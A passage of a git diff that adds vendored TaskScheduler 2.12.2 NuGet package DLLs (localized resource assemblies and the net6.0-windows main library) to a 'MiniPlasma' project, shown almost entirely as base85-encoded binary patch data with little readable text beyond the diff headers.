z&pnQq2pF3!zNE;*Yi#Hc!aE83rzM8;V>8u*d0Y+#O(iJXvF;Gk{Aw7w4yZwTVLXyV z>f)CbSyQ)&mk+nF2OFmCVQh-TCRV9-b)=Oe?n4n>wYwObDY2;oLCv2#$bI?wz6HK~ z-%X57kXWkE?Z^qwn@I>REC4|fjo7UMPYF^fDMhCj%JS6UOh!pux^e{< zo$KhNW`Q2hrU?K$G@8@VLZo{sS3~Eyp_2ZL!6lYI@K=ZoCv3njNaxT`iHndpuT%Dm zUP6>GHINTeafG3C3&*$|Pe(p!Nj;Q?q4Wo3OS{msS?C!SiF*@mCl$@b$%;6mhw|~1x(VUQfglb-uN4vlXm1vjC9DX#a`=X*q-h9f4bL_d z$3k>|q*>CbFd+DYEDvq^%^--8DR)NROGbypj3`0o*EpLqgbLm0sR_dVSLKT(q7eo4=#z-p_lxt39E%+D<^Z> z4x6xH`ZzlX3;V>1^x=0ms`(f;R%}c(k5w^#T5%-RwKugKZ~cGGXT9*Rvjfn2qf~0# zivKsi774#5%O33A;e5MP@Rh>u$ve)K@WP~jzy201fNg-zTdyR1i~KE2`|opfEb!lu C_xK3_ literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/tr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/tr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..fc04f1af64416414cb74759bb19ef7d327cca3bb GIT binary patch literal 10240 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 HvA}-=OWRG2 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/zh-CN/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..1c7e320c792eb6e7e68ce674777965dc57402490 GIT binary patch literal 9728 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 BnvVbg literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net48/zh-Hant/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..2c9b9bb2fc227e36a9c2c97ca684c77ddc0d6b0c GIT binary patch literal 9728 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net6.0-windows7.0/Microsoft.Win32.TaskScheduler.dll new file mode 100644 index 0000000000000000000000000000000000000000..aa35b88d3724014d1643e9f054c2c6b2b0d35748 GIT binary patch literal 335872 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 